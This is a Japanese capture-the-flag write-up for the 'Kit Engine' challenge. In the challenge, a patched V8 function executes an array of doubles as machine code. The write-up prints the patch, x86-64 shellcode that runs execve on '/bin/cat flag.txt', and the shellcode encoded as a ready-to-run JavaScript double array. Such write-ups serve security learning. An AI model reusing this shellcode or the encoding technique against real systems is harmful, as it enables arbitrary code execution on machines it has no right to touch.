コンテンツにスキップ

Kit Engine

tl;dr

V8 exploit, shellcode

プログラム

Google の開発している JavaScript Engine, V8 に patch をあてたものを与えられます。

patch の内、重要そうな所だけ切り取ります。

+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+

要はどういう事かと言うと、AssembleEngine の引数である double 型の配列を関数として実行するという事です。

解法

引数をそのまま実行しているので、shellcode を渡せば良さそうですが、引数は double になるのでバイナリを double に変換する必要があります。

これは、変換してくれるサイト に投げる事ができます。

あとは shellcode を double に変換して投げるだけ... かのように思えますが、サーバーのプログラムを見ると shell を起動した後に入力を投げられないのでどうしようもありません。

そこで、仕方なく execve("/bin/cat",["/bin/cat","flag.txt","NULL"],NULL) を実行する shellcode を書く事にしました。

xor rax, rax;
xor rbx, rbx;
push rbx;
mov rbx, 0x7478742e67616c66;
push rbx;
push rsp;
pop rbx;
xor rcx, rcx;
push rcx;
mov rcx, 0x7461632f6e69622f;
push rcx;
push rsp;
pop rcx;
push rax;
push rbx;
push rcx;
push rsp;
pop rsi;
xor rbx, rbx;
push rbx;
mov rbx, 0x7461632f6e69622f;
push rbx;
push rsp;
pop rdi;
mov rax,0x3b;
cdq;
syscall;

コード長に余裕があるので無駄が多いのには目を瞑る事にしまして、これをバイナリに変換、double に変換した後の payload は以下となります。

a=[2.7026887202725384e+40,1.7058643057456954e+272,9.788141225661296e+85,5.9310264137817665e+169,5.862568898663912e+83,-4.0246577527869836e-23,3.9836583598199556e+252,1.5438141401635297e-307,-6.827649529945208e-229];AssembleEngine(a);

これを投げると、見事に FLAG が出力されます。やったね!


最終更新日: 2021年4月8日